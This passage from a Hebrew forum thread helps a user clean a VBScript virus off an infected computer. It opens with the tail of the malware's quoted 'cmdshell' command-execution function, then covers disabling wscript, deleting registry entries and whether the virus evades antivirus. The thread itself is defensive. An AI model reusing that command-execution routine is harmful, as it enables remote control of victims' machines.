                                elseif not oexec.stderr.atendofstream then
                                   readallfromany = oexec.stderr.readall
                                else 
                                   readallfromany = ""
                                end if
                                
                                cmdshell = readallfromany
                                end function
                                
                                ת מנותק
                                ת מנותק
                                תלמידהון
                                כתב נערך לאחרונה על ידי
                                #18

                                @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                                תגובה 1 תגובה אחרונה
                                0
                                • ר רנדומלי

                                  השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                  מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                  מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                  גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                  @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                  מתכנת חובבמ מנותק
                                  מתכנת חובבמ מנותק
                                  מתכנת חובב
                                  מדריכים
                                  כתב נערך לאחרונה על ידי
                                  #19

                                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                  היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                  ר תגובה 1 תגובה אחרונה
                                  1
                                  • מתכנת חובבמ מתכנת חובב

                                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                    היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                    ר מנותק
                                    ר מנותק
                                    רנדומלי
                                    כתב נערך לאחרונה על ידי
                                    #20

                                    @מתכנת-חובב
                                    השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                    כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                    @תלמידהון
                                    כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                    ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                                    0
                                    • ר רנדומלי

                                      @מתכנת-חובב
                                      השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                      כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                      @תלמידהון
                                      כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                      ת מנותק
                                      ת מנותק
                                      תלמידהון
                                      כתב נערך לאחרונה על ידי
                                      #21

                                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                      אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                                      תגובה 1 תגובה אחרונה
                                      1
                                      • ר רנדומלי

                                        @מתכנת-חובב
                                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                        @תלמידהון
                                        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                        מתכנת חובבמ מנותק
                                        מתכנת חובבמ מנותק
                                        מתכנת חובב
                                        מדריכים
                                        כתב נערך לאחרונה על ידי מתכנת חובב
                                        #22

                                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                        בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                        לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                        תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                        ר תגובה 1 תגובה אחרונה
                                        0
                                        • מתכנת חובבמ מתכנת חובב

                                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                          בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                          לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                          תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                          ר מנותק
                                          ר מנותק
                                          רנדומלי
                                          כתב נערך לאחרונה על ידי
                                          #23

                                          @מתכנת-חובב
                                          תהיה מוכן להסביר לי איך אני מכבה VBS?

                                          זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                          מתכנת חובבמ תגובה 1 תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר